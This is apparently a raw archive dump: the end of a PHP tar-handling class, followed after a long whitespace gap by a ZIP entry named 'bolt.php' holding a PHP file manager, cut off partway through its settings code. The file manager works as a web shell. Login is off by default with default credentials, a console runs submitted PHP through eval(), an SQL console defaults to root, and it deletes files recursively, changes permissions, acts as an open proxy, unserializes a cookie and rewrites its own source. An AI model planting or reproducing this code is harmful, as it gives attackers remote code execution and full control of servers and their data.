		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       PK     |\Ќ5 5   bolt.phpnu [        <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
